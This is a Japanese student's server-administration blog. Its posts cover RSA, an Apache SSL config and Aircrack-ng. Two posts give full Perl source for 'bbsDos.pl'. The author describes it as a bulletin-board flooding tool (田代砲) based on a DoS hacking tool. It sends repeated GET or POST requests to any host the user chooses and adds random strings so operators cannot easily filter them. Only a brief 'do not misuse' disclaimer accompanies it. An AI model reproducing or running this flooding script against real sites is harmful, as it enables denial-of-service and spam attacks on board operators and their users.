ORBIT SPACE

普通科に通う凡人学生のサーバー管理に関する外部記憶装置

  • 9月
    17

    暗号化の方法がとても気になったので調べてみました。
    ※特に可逆暗号化と公開鍵暗号についてです。

    RSAの式(暗号化)
    C = M^e (mod n)

    調べてみたら呆気にとられるくらい簡単で単純です。

    ^(キャロット)は累乗という意味です。
    modは除算した時に発生する余りを意味します。
    Cが暗号化された文章を意味します。
    Mは平文を意味します。
    要するにCは平文Mをe乗してnで割った余りであると言うことになります。

    今日は徹夜明けなので頭がボーっとしてまともに物事を考えられないので近いうちに
    暗号化と複合化するプログラムを書いて見ます。

    参考元:はやわかり RSA
    参考元:ASCIIコードと文字の相互変換

    No Comments
  • 9月
    14

    非常に困りました^^;
    彼の野原 – FrontPage様よりワイルドカードを使った証明書を作成しました。

    ですが、/etc/apache2/conf.d/ssl.confになんて記述してよいのか分からない(汗
    エラーが起きてしまいます。

    結局NameVirtualHost *:443を記述していないと言うことに気づくのに1時間ほどかかってしまいました^^;

    追記した内容

    NameVirtualHost *:443
    
    <VirtualHost *:443>
    SSLEngine on
    ServerName mail.orbit-space.net
    DocumentRoot /var/www/html/webmail/
    ## certificate file path below
    SSLCertificateFile /usr/share/ssl/certs/server.pem
    SSLCertificateKeyFile /usr/share/ssl/certs/server.key
    <Directory /var/www/html/webmail/>
    AllowOverride None
    Options ExecCGI
    Order allow,deny
    Allow from all
    </Directory>
    CustomLog /var/log/apache2/ssl_request_log \
    "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
    </VirtualHost>
    
    No Comments
  • 8月
    29

     今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。

    Get the Flash Player to see this player.

    #!/usr/bin/perl
    #################################################
    #ソフト名:掲示板耐久性テストプログラム
    #バージョン:Ver.2.0
    #ファイル名:bbsDos.pl
    #作者:ORBIT
    #作者HP:http://www.orbit-space.net/blog/
    #※悪戯の目的で使用しないでください。
    #################################################
    
    #IO::Socketモジュールを使用する
    use IO::Socket;
    #Socketモジュールを使用する
    use Socket;
    
    #アクセス先ホストの指定
    while($host eq ""){
    print "X"x"50"."\n";
    print "URL(ホスト名)を入力してください\n";
    print "> http://";
    $host = <STDIN>;
    chomp $host;
    if($host eq "quit"){exit;}
    }
    
    #ポートを指定するかユーザーへ質問する
    print "X"x"50"."\n";
    print "ポート番号を指定しますか?[y/n]";
    $q_port = <STDIN>;
    print "指定しない場合は80番ポートへアクセスします\n";
    chomp $q_port;
    
    #yが入力されたらポート番号が入力されるまで待機
    if ($q_port eq "y"){
    print "X"x"50"."\n";
    print "ポートを指定します\n";
    print "> ";
    $port = <STDIN>;
    chomp $port;
    }else{
    $port = "80";
    }
    
    #乱数を追記させるかを確認
    print "X"x"50"."\n";
    print "送信するデータに乱数を追加しますか?[y/n]";
    $r = <STDIN>;
    chomp $r;
    
    #乱数を追記させるかを確認
    if($r eq "y"){
    print "X"x"50"."\n";
    print "乱数の文字数を指定してください\n";
    print "> ";
    $rr = <STDIN>;
    chomp $rr;
    $rr = "1" if($rr eq "");
    }
    
    #送信方法を確認
    print "X"x"50"."\n";
    print "(GET/POST)どちらを利用しますか?[g/p]";
    $net = <STDIN>;
    chomp $net;
    if($net eq "p"){&post_set;}
    if($net eq "g"){&get_set;}
    
    #送信回数
    print "X"x"50"."\n";
    print "ループさせる回数を指定してください\n";
    print "> ";
    $loop = <STDIN>;
    chomp $loop;
    if($loop eq "" || $loop eq "1"){
    $loop = "2";
    $ex = "1";
    }
    if($loop == "0"){
    print "Error:0回のループは指定出来ません!\n";
    exit;
    }
    $loop-="1";
    
    #スリープの設定
    print "X"x"50"."\n";
    print "指定秒ウェイトを設定する場合は入力してください\n";
    print "> ";
    $slp = <STDIN>;
    chomp $slp;
    
    #指定させた数字になるまでループ
    while($ex <= $loop){
    #送信数のインクリメント
    print "X"x"50"."\n";
    $exd = $exd+"1";
    print "$exd回目\n";
    
    #割合
    if($loop ne ""){
    $sa = int(($ex/$loop)*"100");
    print "進行状況:[$sa\%\/100\%]を完了しました\n";
    $ex +="1";
    }
    
    #送信サブルーチン呼び出し
    if($net eq "p"){&post;}
    if($net eq "g"){&get;}
    
    #スリープ
    print "$slp秒スリープします\n" if($slp ne "");
    sleep $slp;
    }
    
    print "終了しました\n";
    
    #------------------------------------------------
    #サブルーチン
    #------------------------------------------------
    
    #----------------------------
    #GET
    #----------------------------
    sub get_set{
    #ファイルの場所の指定
    print "X"x"50"."\n";
    print "URL(ファイルの場所と送信データ)を入力してください\n";
    print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y");
    print "> http://$host/";
    $bbs = <STDIN>;
    chomp $bbs;
    $bbs = "/".$bbs;
    }
    
    sub get{
    #乱数格納
    $bbs2=$bbs;
    if ($r eq "y"){
    my @alph = ("a".."z");
    my $result = "";
    foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
    $bbs2.=$result;
    }
    #送信情報の出力
    print "ホストへ以下の情報を送信中です\n";
    print "$bbs2\n";
    #ホストへ接続を試みる
    $socket = new IO::Socket::INET (
                                     PeerAddr => "$host",
                                     PeerPort => "$port",
                                     Proto => "tcp",
                                    );
    #送信
    print $socket "GET $bbs2 HTTP/1.0\n\n";
    close($socket);
    }
    
    #-----------------------------
    #POST
    #-----------------------------
    sub post_set{
    #ファイルまでのパスを指定
    print "X"x"50"."\n";
    print "ファイルまでのパスを指定してください\n";
    print "> http://$host/";
    $path = <STDIN>;
    chomp $path;
    
    #送信データの確認
    print "X"x"50"."\n";
    print "送信するデータを入力してください\n";
    print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y");
    print "> ";
    $data = <STDIN>;
    }
    
    sub post{
    $data2=$data;
    if ($r eq "y"){
    my @alph = ("a".."z");
    my $result = "";
    foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
    $data2.=$result;
    }
    
    #送信情報の出力
    print "ホストへ以下の情報を送信中です\n";
    print "$data2\n";
    
    #ホストへ接続を試みる
    socket(SOCKET, PF_INET, SOCK_STREAM, 0);
    connect(SOCKET, pack_sockaddr_in($port, inet_aton($host)));
    select(SOCKET); $|=1; select(STDOUT);
    
    #送信
    print SOCKET "POST /$path HTTP/1.0\r\n";
    print SOCKET "Content-Length: ".length($data2)."\r\n";
    print SOCKET "\r\n";
    print SOCKET $data2;
    }
    
    No Comments
  • 8月
    29

     現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
     通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
     以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;

     私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
    ※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
    つまり、このツールを防げたらたいていの連続投票を防げるわけです。

    ※ このプログラムは悪戯目的に使用しないでください。
    元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。

    #!/usr/bin/perl
    #################################################
    #ソフト名:掲示板耐久性テストプログラム
    #バージョン:Ver.1.0
    #ファイル名:bbsDos.pl
    #作者:ORBIT
    #作者HP:http://www.orbit-space.net/blog/
    #※悪戯の目的で使用しないでください。
    #################################################
    
    #IO::Socketモジュールを使用する
    use IO::Socket;
    
    #アクセス先ホストの指定
    while($host eq ""){
    print "X"x"50"."\n";
    print "URL(ホスト名)を入力してください\n";
    print "> http://";
    $host = <STDIN>;
    chomp $host;
    if($host eq "quit"){exit;}
    }
    
    #ポートを指定するかユーザーへ質問する
    print "X"x"50"."\n";
    print "ポート番号を指定しますか?[y/n]";
    $q_port = <STDIN>;
    print "指定しない場合は80番ポートへアクセスします\n";
    chomp $q_port;
    
    #yが入力されたらポート番号が入力されるまで待機
    if ($q_port eq "y"){
    print "X"x"50"."\n";
    print "ポートを指定します\n";
    print "> ";
    $port = <STDIN>;
    chomp $port;
    }else{
    $port = "80";
    }
    
    #乱数を追記させるかを確認
    print "X"x"50"."\n";
    print "送信するデータに乱数を追加しますか?[y/n]";
    $r = <STDIN>;
    chomp $r;
    
    #ファイルの場所の指定
    print "X"x"50"."\n";
    print "URL(ファイルの場所と送信データ)を入力してください\n";
    print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y");
    print "> http://$host/";
    $bbs = <STDIN>;
    chomp $bbs;
    $bbs = "/".$bbs;
    
    #送信回数
    print "X"x"50"."\n";
    print "ループさせる回数を指定してください\n";
    print "> ";
    $loop = <STDIN>;
    chomp $loop;
    if($loop eq "" || $loop eq "1"){
    $loop = "2";
    $ex = "1";
    }
    if($loop == "0"){
    print "Error:0回のループは指定出来ません!\n";
    exit;
    }
    $loop-="1";
    
    #スリープの設定
    print "X"x"50"."\n";
    print "指定秒ウェイトを設定する場合は入力してください\n";
    print "> ";
    $slp = <STDIN>;
    chomp $slp;
    
    #指定させた数字になるまでループ
    while($ex <= $loop){
    print "X"x"50"."\n";
    $bbs2=$bbs;
    #乱数格納
    if ($r eq "y"){
    $rr = rand("1000");
    $bbs2.=$rr;
    }
    
    #送信数のインクリメント
    $exd = $exd+"1";
    print "$exd回目\n";
    
    #割合
    if($loop ne ""){
    $sa = int(($ex/$loop)*"100");
    print "進行状況:[$sa\%\/100\%]を完了しました\n";
    $ex +="1";
    }
    
    #送信情報の出力
    print "ホストへ以下の情報を送信中です\n";
    print "$bbs2\n";
    #ホストへ接続を試みる
    $socket = new IO::Socket::INET (
                                     PeerAddr => "$host",
                                     PeerPort => "$port",
                                     Proto => "tcp",
                                    );
    die "Error:ホストに接続できませんでした!\n" unless $socket;
    #送信
    print $socket "GET $bbs2 HTTP/1.0\n\n";
    close($socket);
    
    #スリープ
    print "$slp秒スリープします\n" if($slp ne "");
    sleep $slp;
    }
    
    print "終了しました\n"
    
    No Comments
  • 8月
    20

    Royal Windows様の記事をみて
    Aircarack-ngを無理やりGUIで動かすSpoonWpaというものがあると知り
    早速BackTrack 3で起動してみました^^
    snapshot1

    snapshot2

    3 Comments

ORBIT



注)このブログは
普通科に通っている
ゆとり教育万歳で
日々平凡な、
とりえも特技も何も無い
もはやどうしようもない
学生のオタクが更新しています。

もしも気が向いたりしたら
話かけてやってください。

(To the access from foreign countries Please comment in English or Japanese to the comment. )
Translation site

TUG

Skype

気軽に話しかけてください^^

ログイン状態
RealPlayer
動画プレーヤー

MUTUAL LINK


相互リンク依頼

パソコン関係
電子工作関係

喜んでリンク受け付けます。

BANNER

Link時にお使いください
ORBIT SPACE

利用中サービス

株式会社シーマン サーバー監視サービス
24時間サーバーのネットワーク接続を監視し
異常発生時には緊急連絡してくれる無料サービスです。
その他にもポート開放チェックや
接続状態の確認が行えます。

お勧めのソフト

私は快適なブラウザとして
FireFoxを推薦します。
Mozilla Firefox ブラウザ無料ダウンロード

記事の利用について

※記事への直リンクはほぼ全面的に
許可しますが、参考元の紹介無し等、
無断での記事もしくは画像の利用は
禁止させていただきます。
(私の書いた記事の内容に間違いが
あった場合訂正が出来ないので)

見つけしだい、それ相応の対処を
求める場合があります。
ご理解とご協力をお願いします。